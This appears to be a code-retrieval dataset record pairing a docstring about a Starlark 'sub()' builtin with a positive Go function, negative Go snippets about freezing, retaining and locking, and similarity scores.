clusterFreeze(ctx context.Context, args struct {\n\tStatus bool\n}) (*proto.GeneralResp, error) {\n\tif _, _, err := permissions(ctx, ADMIN); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := m.cluster.setDisableAutoAllocate(args.Status); err != nil {\n\t\treturn nil, err\n\t}\n\treturn proto.Success(\"success\"), nil\n}", "func (gg GlobGroup) Freeze() {}", "func freezetheworld() {\n\tatomic.Store(&freezing, 1)\n\t// stopwait and preemption requests can be lost\n\t// due to races with concurrently executing threads,\n\t// so try several times\n\tfor i := 0; i < 5; i++ {\n\t\t// this should tell the scheduler to not start any new goroutines\n\t\tsched.stopwait = freezeStopWait\n\t\tatomic.Store(&sched.gcwaiting, 1)\n\t\t// this should stop running goroutines\n\t\tif !preemptall() {\n\t\t\tbreak // no running goroutines\n\t\t}\n\t\tusleep(1000)\n\t}\n\t// to be sure\n\tusleep(1000)\n\tpreemptall()\n\tusleep(1000)\n}", "func (p *BailServiceClient) FreezeBail(dealerId int64, amount float64, orderId int64) (r *Bail, err error) {\n\tif err = p.sendFreezeBail(dealerId, amount, orderId); err != nil {\n\t\treturn\n\t}\n\treturn p.recvFreezeBail()\n}", "func (s *Service) Frozen(ctx context.Context, req *pb.FrozenRequest) (*pb.FrozenResponse, error) {\n\tif !strings.HasPrefix(strings.Title(req.Address), \"Mx\") {\n\t\treturn nil, status.Error(codes.InvalidArgument, \"invalid address\")\n\t}\n\n\tcState := s.blockchain.CurrentState()\n\tcState.RLock()\n\tdefer cState.RUnlock()\n\n\tvar reqCoin *coins.Model\n\n\tif req.CoinId != nil {\n\t\tcoinID := types.CoinID(req.CoinId.GetValue())\n\t\treqCoin = cState.Coins().GetCoin(coinID)\n\t\tif reqCoin == nil {\n\t\t\treturn nil, s.createError(status.New(codes.NotFound, \"Coin not found\"), transaction.EncodeError(code.NewCoinNotExists(\"\", coinID.String())))\n\t\t}\n\t}\n\tvar frozen []*pb.FrozenResponse_Frozen\n\n\tcState.FrozenFunds().GetFrozenFunds(s.blockchain.Height())\n\n\tfor i := s.blockchain.Height(); i <= s.blockchain.Height()+candidates.UnbondPeriod; i++ {\n\n\t\tif timeoutStatus := s.checkTimeout(ctx); timeoutStatus != nil {\n\t\t\treturn nil, timeoutStatus.Err()\n\t\t}\n\n\t\tfunds := cState.FrozenFunds().GetFrozenFunds(i)\n\t\tif funds == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tfor _, fund := range funds.List {\n\t\t\tif fund.Address.String() != req.Address {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tcoin := reqCoin\n\t\t\tif coin == nil {\n\t\t\t\tcoin = cState.Coins().GetCoin(fund.Coin)\n\t\t\t} else {\n\t\t\t\tif coin.ID() != fund.Coin {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\tfrozen = append(frozen, &pb.FrozenResponse_Frozen{\n\t\t\t\tHeight: funds.Height(),\n\t\t\t\tAddress: fund.Address.String(),\n\t\t\t\tCandidateKey: fund.CandidateKey.String(),\n\t\t\t\tCoin: &pb.Coin{\n\t\t\t\t\tId: uint64(fund.Coin),\n\t\t\t\t\tSymbol: coin.GetFullSymbol(),\n\t\t\t\t},\n\t\t\t\tValue: fund.Value.String(),\n\t\t\t})\n\t\t}\n\t}\n\n\treturn &pb.FrozenResponse{Frozen: frozen}, nil\n}", "func (*NoCopy) Lock() {}", "func (px *Paxos) freeMemory() {\n // Assertion: px is already locked by the callee\n\n // reproduction of Min() without requesting a lock\n // Question: Can I do this without duplciating code?\n min := px.done[px.me]\n for i := 0; i < len(px.done); i++ {\n if px.done[i] < min {\n min = px.done[i]\n }\n }\n min += 1\n\n for i, _ := range px.Instances {\n if i < min {\n delete(px.Instances, i)\n }\n }\n}", "func (_Token *TokenFilterer) FilterFreeze(opts *bind.FilterOpts, from []common.Address) (*TokenFreezeIterator, error) {\n\n\tvar fromRule []interface{}\n\tfor _, fromItem := range from {\n\t\tfromRule = append(fromRule, fromItem)\n\t}\n\n\tlogs, sub, err := _Token.contract.FilterLogs(opts, \"Freeze\", fromRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &TokenFreezeIterator{contract: _Token.contract, event: \"Freeze\", logs: logs, sub: sub}, nil\n}", "func (_Token *TokenFilterer) WatchFreeze(opts *bind.WatchOpts, sink chan<- *TokenFreeze, from []common.Address) (event.Subscription, error) {\n\n\tvar fromRule []interface{}\n\tfor _, fromItem := range from {\n\t\tfromRule = append(fromRule, fromItem)\n\t}\n\n\tlogs, sub, err := _Token.contract.WatchLogs(opts, \"Freeze\", fromRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(TokenFreeze)\n\t\t\t\tif err := _Token.contract.UnpackLog(event, \"Freeze\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "func (s EncryptedChatWaitingArray) Retain(keep func(x EncryptedChatWaiting) bool) EncryptedChatWaitingArray {\n\tn := 0\n\tfor _, x := range s {\n\t\tif keep(x) {\n\t\t\ts[n] = x\n\t\t\tn++\n\t\t}\n\t}\n\ts = s[:n]\n\n\treturn s\n}", "func (stackEntry *valuePayloadPropagationStackEntry) Retain() *valuePayloadPropagationStackEntry {\n\treturn &valuePayloadPropagationStackEntry{\n\t\tCachedPayload: stackEntry.CachedPayload.Retain(),\n\t\tCachedPayloadMetadata: stackEntry.CachedPayloadMetadata.Retain(),\n\t\tCachedTransaction: stackEntry.CachedTransaction.Retain(),\n\t\tCachedTransactionMetadata: stackEntry.CachedTransactionMetadata.Retain(),\n\t}\n}", "func (p *BailServiceClient) UnfreezeBail(dealerId int64, amount float64, orderId int64) (r *Bail, err error) {\n\tif err = p.sendUnfreezeBail(dealerId, amount, orderId); err != nil {\n\t\treturn\n\t}\n\treturn p.recvUnfreezeBail()\n}", "func (transaction *TokenUpdateTransaction) GetFreezeKey() Key {\n\treturn transaction.freezeKey\n}", "func (outer outer) Free() bool {\r\n\treturn false\r\n}", "func (o *ParamsReg) Backup() {\n\tcopy(o.bkpTheta, o.theta)\n\to.bkpBias = o.bias\n\to.bkpLambda = o.lambda\n\to.bkpDegree = o.degree\n}", "func (ch *ClickHouse) FreezeTable(table Table) error {\n\tvar partitions []struct {\n\t\tPartitionID string `db:\"partition_id\"`\n\t}\n\tq := fmt.Sprintf(\"SELECT DISTINCT partition_id FROM system.parts WHERE database='%v' AND table='%v'\", table.Database, table.Name)\n\tif err := ch.conn.Select(&partitions, q); err != nil {\n\t\treturn fmt.Errorf(\"can't get partitions for \\\"%s.%s\\\" with %v\", table.Database, table.Name, err)\n\t}\n\tlog.Printf(\"Freeze '%v.%v'\", table.Database, table.Name)\n\tfor _, item := range partitions {\n\t\tif ch.DryRun {\n\t\t\tlog.Printf(\" partition '%v' ...skip becouse dry-run\", item.PartitionID)\n\t\t\tcontinue\n\t\t}\n\t\tlog.Printf(\" partition '%v'\", item.PartitionID)\n\t\t// TODO: find out this magic\n\t\tif item.PartitionID == \"all\" {\n\t\t\titem.PartitionID = \"tuple()\"\n\t\t}\n\t\tif _, err := ch.conn.Exec(\n\t\t\tfmt.Sprintf(\n\t\t\t\t\"ALTER TABLE %v.%v FREEZE PARTITION %v;\",\n\t\t\t\ttable.Database,\n\t\t\t\ttable.Name,\n\t\t\t\titem.PartitionID,\n\t\t\t)); err == nil {\n\t\t\tcontinue\n\t\t}\n\t\tif _, err := ch.conn.Exec(\n\t\t\tfmt.Sprintf(\n\t\t\t\t\"ALTER TABLE %v.%v FREEZE PARTITION '%v';\",\n\t\t\t\ttable.Database,\n\t\t\t\ttable.Name,\n\t\t\t\titem.PartitionID,\n\t\t\t)); err != nil {\n\t\t\treturn fmt.Errorf(\"can't freze partiotion '%s' on '%s.%s' with: %v\", item.PartitionID, table.Database, table.Name, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (*noCopy) Lock() {}", "func Free() {\n\tflags = nil // Any future call to Get() will panic on a nil dereference.\n}", "func (f Fill) SetValue(value float64) Fill {\n\tf.value = value\n\treturn f\n}", "func (x *Value) Free() {\n\tif x != nil && x.allocs23e8c9e3 != nil {\n\t\tx.allocs23e8c9e3.(*cgoAllocMap).Free()\n\t\tx.ref23e8c9e3 = nil\n\t}\n}", "func (tb *tensorBase) Retain() {\n\tatomic.AddInt64(&tb.refCount, 1)\n}", "func SyncRuntimeDoSpin()", "func (r RawValues) Retain(values ...string) RawValues {\n\ttoretain := make(map[string]bool)\n\tfor _, v := range values {\n\t\ttoretain[v] = true\n\t}\n\tfiltered := make([]RawValue, 0)\n\tfor _, rawValue := range r {\n\t\tif _, ok := toretain[rawValue.Value]; ok {\n\t\t\tfiltered = append(filtered, rawValue)\n\t\t}\n\t}\n\treturn filtered\n}", "func (_Storage *StorageCaller) AccountFrozen(opts *bind.CallOpts, addr common.Address) (bool, error) {\n\tvar (\n\t\tret0 = new(bool)\n\t)\n\tout := ret0\n\terr := _Storage.contract.Call(opts, out, \"accountFrozen\", addr)\n\treturn *ret0, err\n}", "func (v *VolumesServiceMock) Freeze(podUID string, name string) (vol *api.Volume, err error) {\n\targs := v.Called(podUID, name)\n\tx := args.Get(0)\n\tif x != nil {\n\t\tvol = x.(*api.Volume)\n\t}\n\terr = args.Error(1)\n\treturn\n}", "func FixFreezeLookupMigration(db *IndexerDb, state *MigrationState) error {\n\t// Technically with this query no transactions are needed, and the accounting state doesn't need to be locked.\n\tupdateQuery := \"INSERT INTO txn_participation (addr, round, intra) VALUES ($1, $2, $3) ON CONFLICT DO NOTHING\"\n\tquery := fmt.Sprintf(\"select decode(txn.txn->'txn'->>'fadd','base64'),round,intra from txn where typeenum = %d AND txn.txn->'txn'->'snd' != txn.txn->'txn'->'fadd'\", idb.TypeEnumAssetFreeze)\n\trows, err := db.db.Query(query)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to query transactions: %v\", err)\n\t}\n\tdefer rows.Close()\n\n\ttxprows := make([][]interface{}, 0)\n\n\t// Loop through all transactions and compute account data.\n\tdb.log.Print(\"loop through all freeze transactions\")\n\tfor rows.Next() {\n\t\tvar addr []byte\n\t\tvar round, intra uint64\n\t\terr = rows.Scan(&addr, &round, &intra)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error scanning row: %v\", err)\n\t\t}\n\n\t\ttxprows = append(txprows, []interface{}{addr, round, intra})\n\n\t\tif len(txprows) > 5000 {\n\t\t\terr = updateBatch(db, updateQuery, txprows)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"updating batch: %v\", err)\n\t\t\t}\n\t\t\ttxprows = txprows[:0]\n\t\t}\n\t}\n\n\tif rows.Err() != nil {\n\t\treturn fmt.Errorf(\"error while processing freeze transactions: %v\", rows.Err())\n\t}\n\n\t// Commit any leftovers\n\tif len(txprows) > 0 {\n\t\terr = updateBatch(db, updateQuery, txprows)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"updating batch: %v\", err)\n\t\t}\n\t}\n\n\t// Update migration state\n\treturn upsertMigrationState(db, state, true)\n}", "func (stateObj *stateObject) finalise(prefetch bool) {\n\tlog.Debugf(\"stateObject finalise. address:%x, prefetch:%v\", stateObj.address, prefetch)\n\n\tslotsToPrefetch := make([][]byte, 0, len(stateObj.dirtyStorage))\n\tfor key, value := range stateObj.dirtyStorage {\n\t\tstateObj.pendingStorage[key] = value\n\t\tif value != stateObj.originStorage[key] {\n\t\t\tslotsToPrefetch = append(slotsToPrefetch, common.CopyBytes(key[:])) // Copy needed for closure\n\t\t}\n\t}\n\tif stateObj.db.prefetcher != nil && prefetch && len(slotsToPrefetch) > 0 && stateObj.data.Root != emptyRoot {\n\t\tstateObj.db.prefetcher.prefetch(stateObj.addrHash, stateObj.data.Root, slotsToPrefetch)\n\t}\n\tif len(stateObj.dirtyStorage) > 0 {\n\t\tstateObj.dirtyStorage = make(Storage)\n\t}\n}", "func UnfreezeClock(t *testing.T) {\n\tif t == nil {\n\t\tpanic(\"nice try\")\n\t}\n\tc = &DefaultClock{}\n}", "func (this *Tidy) Bare(val bool) (bool, error) {\n\treturn this.optSetBool(C.TidyMakeBare, cBool(val))\n}", "func (o *FreezeParams) WithHTTPClient(client *http.Client) *FreezeParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "func (m *MemoryStateDB) ExecFrozen(tx *types.Transaction, addr string, amount int64) bool {\n\tif nil == tx {\n\t\tlog15.Error(\"ExecFrozen get nil tx\")\n\t\treturn false\n\t}\n\n\texecaddr := address.ExecAddress(string(tx.Execer))\n\tret, err := m.CoinsAccount.ExecFrozen(addr, execaddr, amount)\n\tif err != nil {\n\t\tlog15.Error(\"ExecFrozen error\", \"addr\", addr, \"execaddr\", execaddr, \"amount\", amount, \"err info\", err)\n\t\treturn false\n\t}\n\n\tm.addChange(balanceChange{\n\t\tamount: amount,\n\t\tdata: ret.KV,\n\t\tlogs: ret.Logs,\n\t})\n\n\treturn true\n}", "func (m *neighborEntryRWMutex) RLockBypass() {\n\tm.mu.RLock()\n}", "func (vals PendingValues) lockSet(inst, prop ident.Id, nilVal, want interface{}) (err error) {\n\tif reflect.TypeOf(nilVal) != reflect.TypeOf(want) {\n\t\terr = SetValueMismatch(inst, prop, nilVal, want)\n\t} else if curr, have := vals[prop]; have && curr != want {\n\t\terr = SetValueChanged(inst, prop, curr, want)\n\t} else {\n\t\tvals[prop] = want\n\t}\n\treturn err\n}", "func (s IPPortSecretArray) Retain(keep func(x IPPortSecret) bool) IPPortSecretArray {\n\tn := 0\n\tfor _, x := range s {\n\t\tif keep(x) {\n\t\t\ts[n] = x\n\t\t\tn++\n\t\t}\n\t}\n\ts = s[:n]\n\n\treturn s\n}", "func (f *IndexFile) Retain() { f.wg.Add(1) }", "func (_Token *TokenTransactor) FreezeTokens(opts *bind.TransactOpts, account common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _Token.contract.Transact(opts, \"freezeTokens\", account, amount)\n}", "func (n *metadataNode) assertFrozen() {\n\tif n.acls != nil {\n\t\tpanic(\"not frozen yet\")\n\t}\n}", "func (b *Boolean) Reset() {\n\tb.Value = false\n\tb.Default = false\n\tb.Initialized = false\n\tBooleanPool.Put(b)\n}", "func (l *FixedLimiter) Reset() {\n\tl.mu.Lock()\n\tdefer l.mu.Unlock()\n\tl.value = 0\n}", "func (tester* FreezeTester) nonBpVote(t *testing.T, d *Dandelion) {\n\ta := assert.New(t)\n\ta.True(d.Contract(constants.COSSysAccount, frCrtName).CheckExist())\n\tfreezeAcct := tester.acc5\n\tsta := freezeAcct.GetFreeze()\n\tmemo := freezeAcct.GetFreezeMemo()\n\tnewSta := tester.mdFreezeStatus(sta)\n\ta.NotEqual(sta, newSta)\n\tmemoArray,nameArray := tester.getProposalMemoAndNameParams(d,[]*DandelionAccount{freezeAcct})\n\n\t//1.proposal\n\tApplyNoError(t, d, fmt.Sprintf(\"%s: %s.%s.proposalfreeze %s,%d,%s\", tester.acc0.Name, constants.COSSysAccount, frCrtName, nameArray, newSta, memoArray))\n\t//2.fetch proposal_id\n\tpropId,err := tester.getProposalId(d)\n\ta.NoError(err)\n\t//less than 2/3 bp vote to proposalId\n\ttester.voteById(t, d, propId, 0, tester.threshold-1)\n\t//non bp vote\n\tApplyError(t, d, fmt.Sprintf(\"%s: %s.%s.vote %v\", tester.acc4.Name, constants.COSSysAccount, frCrtName, propId))\n\t//final vote fail, set freeze fail\n\ta.Equal(sta, freezeAcct.GetFreeze())\n\ta.Equal(memo, freezeAcct.GetFreezeMemo())\n\n}", "func (s *Send) FreeVars() []Name {\n\tfv := []Name{}\n\tfor _, v := range s.Vals {\n\t\tfv = append(fv, v)\n\t}\n\tsort.Sort(byName(fv))\n\treturn RemDup(fv)\n}", "func (v Chunk) Retain() {\n\tv.buf.Retain()\n}", "func (p *PKGBUILD) RecomputeValues() {\n\tp.info.RecomputeValues()\n}", "func (m *neighborEntryRWMutex) RUnlockBypass() {\n\tm.mu.RUnlock()\n}", "func (lv *LazyValue) Reset() {\n\tlv.Lock()\n\tdefer lv.Unlock()\n\n\tlv.ready = false\n\tlv.value = values.None\n\tlv.err = nil\n}", "func (this *FeedableBuffer) Minimize() {\n\tthis.Data = this.Data[:this.minByteCount]\n}", "func (s *slotted) UnReserve() {\n\tif atomic.AddInt32((*int32)(s), -1) < 0 {\n\t\tatomic.StoreInt32((*int32)(s), 0)\n\t}\n}", "func (f *Flag) Set() { atomic.CompareAndSwapUint32((*uint32)(unsafe.Pointer(f)), 0, 1) }", "func (tl *TimeLockCondition) Fulfill(fulfillment UnlockFulfillment, ctx FulfillContext) error {\n\tif !tl.Fulfillable(FulfillableContext{BlockHeight: ctx.BlockHeight, BlockTime: ctx.BlockTime}) {\n\t\treturn errors.New(\"time lock has not yet been reached\")\n\t}\n\n\t// time lock hash been reached,\n\t// delegate the actual fulfillment to the given fulfillment, if supported\n\tswitch tf := fulfillment.(type) {\n\tcase *SingleSignatureFulfillment:\n\t\treturn tl.Condition.Fulfill(tf, ctx)\n\tcase *MultiSignatureFulfillment:\n\t\treturn tl.Condition.Fulfill(tf, ctx)\n\tdefault:\n\t\treturn ErrUnexpectedUnlockFulfillment\n\t}\n}", "func DeferLiveness() {\n\tvar x [10]int\n\tescape(&x)\n\tfn := func() {\n\t\tif x[0] != 42 {\n\t\t\tpanic(\"FAIL\")\n\t\t}\n\t}\n\tdefer fn()\n\n\tx[0] = 42\n\truntime.GC()\n\truntime.GC()\n\truntime.GC()\n}", "func (this *Hash) Shrink() {\n\tif this == nil {\n\t\treturn\n\t}\n\n\tif this.lock {\n\t\tthis.mu.Lock()\n\t\tdefer this.mu.Unlock()\n\t}\n\n\tthis.loose.shrink()\n\tthis.compact.shrink(this.loose.a)\n}", "func (cpu *CPU) writeHalfcarryFlag(val bool) {\n if val {\n cpu.f = cpu.f ^ ( 1 << 5 )\n }\n}", "func (n *Number) Reset() {\n\tn.Value = 0.0\n\tn.Initialized = false\n\tNumberPool.Put(n)\n}", "func (x *FzStrokeState) Free() {\n\tif x != nil {\n\t\tC.free(unsafe.Pointer(x))\n\t}\n}", "func (b *LeakyLimiter) Reset() time.Time {\n\tb.remaining = b.capacity\n\treturn b.reset\n}", "func (c *CycleState) Unlock() {\n\tc.mx.Unlock()\n}", "func Fill(value bool) *SimpleElement { return newSEBool(\"fill\", value) }", "func (c *Container) frozen() bool {\n\tif c == nil {\n\t\treturn true\n\t}\n\treturn (c.flags & flagFrozen) != 0\n}", "func (b *Buffer) Retain() {\n\tif b.mem != nil || b.parent != nil {\n\t\tatomic.AddInt64(&b.refCount, 1)\n\t}\n}", "func (m *Mutex) ForceRealse() {\n\tatomic.StoreUint32(&m.l, 0)\n}", "func Relax(out1 *LooseFieldElement, arg1 *TightFieldElement) {\n\tx1 := arg1[0]\n\tx2 := arg1[1]\n\tx3 := arg1[2]\n\tx4 := arg1[3]\n\tx5 := arg1[4]\n\tout1[0] = x1\n\tout1[1] = x2\n\tout1[2] = x3\n\tout1[3] = x4\n\tout1[4] = x5\n}" ]
[ "0.629121", "0.61709946", "0.6089411", "0.60298693", "0.59620976", "0.5877203", "0.58217835", "0.57199144", "0.5709729", "0.5635698", "0.5491367", "0.5444173", "0.5394565", "0.5366694", "0.53647643", "0.5217478", "0.5201497", "0.5199691", "0.5163645", "0.5118248", "0.5094646", "0.50705296", "0.49911997", "0.49585488", "0.49480417", "0.49474224", "0.4928673", "0.49135697", "0.4906327", "0.48996666", "0.4885424", "0.4855675", "0.48224056", "0.48167235", "0.4797175", "0.47290012", "0.45966762", "0.4593359", "0.45928454", "0.45717788", "0.45463032", "0.45235473", "0.45216572", "0.4518003", "0.45089075", "0.45087507", "0.44762477", "0.44738653", "0.44621104", "0.4441628", "0.4440062", "0.44034517", "0.43876907", "0.43816802", "0.4362988", "0.43589383", "0.4355712", "0.43394676", "0.43389082", "0.4318574", "0.43118986", "0.4294725", "0.42940456", "0.4269193", "0.4262917", "0.42545116", "0.4234557", "0.42305636", "0.4225275", "0.4220057", "0.4214381", "0.42096722", "0.42051747", "0.4176754", "0.41728988", "0.4169668", "0.41670215", "0.41624624", "0.41623878", "0.41623512", "0.41481364", "0.41467074", "0.41422772", "0.41346204", "0.41344106", "0.41291258", "0.41181058", "0.41177505", "0.41171423", "0.41154474", "0.4115406", "0.4113516", "0.410938", "0.41078776", "0.40973213", "0.40971446", "0.40919363", "0.40890986", "0.40885434", "0.40812027" ]
0.536854
13
starlarkSub parses Starlark kw/args and returns a corresponding `Sub` wrapped in a `starlark.Value` interface. This is used in the `sub()` starlark predefined/builtin function.
func starlarkSub( args starlark.Tuple, kwargs []starlark.Tuple, ) (starlark.Value, error) { // Expect exactly one positional argument, which represents the format // string. if len(args) != 1 { return nil, errors.Errorf( "Expected 1 positional argument 'format'; found %d", len(args), ) } // Validate that the positional argument is a string. format, ok := args[0].(starlark.String) if !ok { return nil, errors.Errorf( "TypeError: Expected argument 'format' has type str; found %s", args[0].Type(), ) } // Treat the keyword arguments as substitutions, including parsing their // values into `Arg`s. substitutions := make([]Substitution, len(kwargs)) for i, kwarg := range kwargs { value, err := starlarkValueToArg(kwarg[1]) if err != nil { return nil, err } substitutions[i] = Substitution{ Key: string(kwarg[0].(starlark.String)), Value: value, } } // TODO: Error if there are substitution placeholders in the format string // (e.g., `${Foo}`) for which there are no corresponding substitutions. // This is particularly important since the placeholder syntax is valid // bash, for example, if the placeholder is `${PATH}`, it would resolve at // runtime to the PATH env var, which would be a different down-the-road // error if it errored at all. // Build and return the resulting `*Sub` structure. return &Sub{Format: string(format), Substitutions: substitutions}, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (n Name) Sub(v string) Name {\n\treturn n.WithType(v)\n}", "func (p *Parser) sub() {\n\tp.primary()\n\tp.emitByte(OP_SUB)\n}", "func Sub(a, b Expr) Expr {\n\treturn &subOp{&simpleOperator{a, b, scanner.SUB}}\n}", "func TestSub(t *testing.T) {\n\tfmt.Println(Sub(2,1))\n}", "func Command_Sub(script *rex.Script, params []*rex.Value) {\n\tif len(params) != 2 {\n\t\trex.ErrorParamCount(\"float:sub\", \"2\")\n\t}\n\n\tscript.RetVal = rex.NewValueFloat64(params[0].Float64() - params[1].Float64())\n\treturn\n}", "func (ub *UpdateBuilder) Sub(field string, value interface{}) string {\n\tf := Escape(field)\n\treturn fmt.Sprintf(\"%s = %s - %s\", f, f, ub.args.Add(value))\n}", "func Sub(value string) string {\n\ti := `{ \"Fn::Sub\" : \"` + value + `\" }`\n\treturn base64.StdEncoding.EncodeToString([]byte(i))\n}", "func (o *IntrospectedOAuth2Token) SetSub(v string) {\n\to.Sub = &v\n}", "func Sub(attrs []htmlgo.Attribute, children ...HTML) HTML {\n\treturn &htmlgo.Tree{Tag: \"sub\", Attributes: attrs, Children: children}\n}", "func sub(s string, subs ...string) string {\n\tbuf := &bytes.Buffer{}\n\tif len(subs)%2 == 1 {\n\t\tpanic(\"some variable does not have a corresponding value\")\n\t}\n\n\t// copy 'subs' into a map\n\tsubsMap := make(map[string]string)\n\tfor i := 0; i < len(subs); i += 2 {\n\t\tsubsMap[subs[i]] = subs[i+1]\n\t}\n\n\t// do the substitution\n\ttemplate.Must(template.New(\"\").Parse(s)).Execute(buf, subsMap)\n\treturn buf.String()\n}", "func NewSub(x, y value.Value) *InstSub {\n\tinst := &InstSub{X: x, Y: y}\n\t// Compute type.\n\tinst.Type()\n\treturn inst\n}", "func Sub(scope *Scope, x tf.Output, y tf.Output) (z tf.Output) {\n\tif scope.Err() != nil {\n\t\treturn\n\t}\n\topspec := tf.OpSpec{\n\t\tType: \"Sub\",\n\t\tInput: []tf.Input{\n\t\t\tx, y,\n\t\t},\n\t}\n\top := scope.AddOperation(opspec)\n\treturn op.Output(0)\n}", "func Sub(a, b Expr) Expr {\n\treturn &arithmeticOperator{&simpleOperator{a, b, scanner.SUB}}\n}", "func Sub(props *SubProps, children ...Element) *SubElem {\n\trProps := &_SubProps{\n\t\tBasicHTMLElement: newBasicHTMLElement(),\n\t}\n\n\tif props != nil {\n\t\tprops.assign(rProps)\n\t}\n\n\treturn &SubElem{\n\t\tElement: createElement(\"sub\", rProps, children...),\n\t}\n}", "func Sub(el ...tuple.TupleElement) Subspace {\n\treturn subspace{tuple.Tuple(el).Pack()}\n}", "func Sub(t1 TermT, t2 TermT) TermT {\n\treturn TermT(C.yices_sub(C.term_t(t1), C.term_t(t2)))\n}", "func Sub(v string) predicate.Account {\n\treturn predicate.Account(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldSub), v))\n\t})\n}", "func Sub(r rune) (rune, error) {\n\ts, ok := subscripts[r]\n\tif !ok {\n\t\treturn r, fmt.Errorf(\"no corresponding subscript: %c\", r)\n\t}\n\treturn s, nil\n}", "func (c Class) Sub(path ...string) (res Class) {\n\tres = make([]string, len(c)+len(path))\n\tcopy(res, c)\n\tcopy(res[len(c):], path)\n\treturn\n}", "func (v1 *Vec) Sub(v2 *Vec) *Vec {\n\treturn Sub(v1, v2)\n}", "func valSub(context interface{}, key, variable string, commands map[string]interface{}, vars map[string]string, results map[string]interface{}) error {\n\n\t// Before: {\"field\": \"#number:variable_name\"} After: {\"field\": 1234}\n\t// key: \"field\" variable:\"#cmd:variable_name\"\n\n\t// Remove the # characters from the left.\n\tvalue := variable[1:]\n\n\t// Find the first instance of the separator.\n\tidx := strings.IndexByte(value, ':')\n\tif idx == -1 {\n\t\terr := fmt.Errorf(\"Invalid variable format %q, missing :\", variable)\n\t\tlog.Error(context, \"varSub\", err, \"Parsing variable\")\n\t\treturn err\n\t}\n\n\t// Split the key and variable apart.\n\tcmd := value[0:idx]\n\tvari := value[idx+1:]\n\n\tswitch key {\n\tcase \"$in\":\n\t\tif len(cmd) != 6 || cmd[0:4] != \"data\" {\n\t\t\terr := fmt.Errorf(\"Invalid $in command %q, missing \\\"data\\\" keyword or malformed\", cmd)\n\t\t\tlog.Error(context, \"varSub\", err, \"$in command processing\")\n\t\t\treturn err\n\t\t}\n\n\t\tv, err := dataLookup(context, cmd[5:6], vari, results)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tcommands[key] = v\n\t\treturn nil\n\n\tdefault:\n\t\tv, err := varLookup(context, cmd, vari, vars, results)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tcommands[key] = v\n\t\treturn nil\n\t}\n}", "func rcSub(p *TCompiler, code *TCode) (*value.Value, error) {\n\tv := value.Sub(p.regGet(code.B), p.regGet(code.C))\n\tp.regSet(code.A, v)\n\tp.moveNext()\n\treturn v, nil\n}", "func Sub_(children ...HTML) HTML {\n return Sub(nil, children...)\n}", "func (g *Graph) Sub(x1 Node, x2 Node) Node {\n\treturn g.NewOperator(fn.NewSub(x1, x2), x1, x2)\n}", "func (r *Router) Sub(path string) *SubRouter {\n\treturn &SubRouter{\n\t\tprefix: path,\n\t\tparent: r,\n\t}\n}", "func (cal *Calculate) sub(value float64) (result float64) {\n\tif len(cal.Arg) == 2 {\n\t\treturn (cal.Arg[0] - cal.Arg[1])\n\t} else if len(cal.Arg) == 1 {\n\t\treturn (value - cal.Arg[0])\n\t}\n\n\tlog.Fatalln(\"Please check the data format of the calculation unit\")\n\treturn\n}", "func (ps *PubSub) Sub(topic string, cb func(data []byte)) (unsub func() error, err error) {\n\ts, err := ps.Conn.Subscribe(topic, func(msg *nats.Msg) {\n\t\tcb(msg.Data)\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn s.Unsubscribe, nil\n}", "func SubIn(vs ...string) predicate.Account {\n\tv := make([]interface{}, len(vs))\n\tfor i := range v {\n\t\tv[i] = vs[i]\n\t}\n\treturn predicate.Account(func(s *sql.Selector) {\n\t\t// if not arguments were provided, append the FALSE constants,\n\t\t// since we can't apply \"IN ()\". This will make this predicate falsy.\n\t\tif len(vs) == 0 {\n\t\t\ts.Where(sql.False())\n\t\t\treturn\n\t\t}\n\t\ts.Where(sql.In(s.C(FieldSub), v...))\n\t})\n}", "func PopSub() {\n\toutput.EmitLn(\"SUB (SP)+,D0\")\n}", "func FnSub(name string, input interface{}, template interface{}) interface{} {\n\n\t// Input can either be a string for this type of Fn::Sub call:\n\t// { \"Fn::Sub\": \"some-string-with-a-${variable}\" }\n\n\t// or it will be an array of length two for named replacements\n\t// { \"Fn::Sub\": [ \"some ${replaced}\", { \"replaced\": \"value\" } ] }\n\n\tswitch val := input.(type) {\n\n\tcase []interface{}:\n\t\t// Replace each of the variables in element 0 with the items in element 1\n\t\tif src, ok := val[0].(string); ok {\n\t\t\t// The seconds element is a map of variables to replace\n\t\t\tif replacements, ok := val[1].(map[string]interface{}); ok {\n\t\t\t\t// Loop through the replacements\n\t\t\t\tfor key, replacement := range replacements {\n\t\t\t\t\t// Check the replacement is a string\n\t\t\t\t\tif value, ok := replacement.(string); ok {\n\t\t\t\t\t\tsrc = strings.Replace(src, \"${\"+key+\"}\", value, -1)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Replace 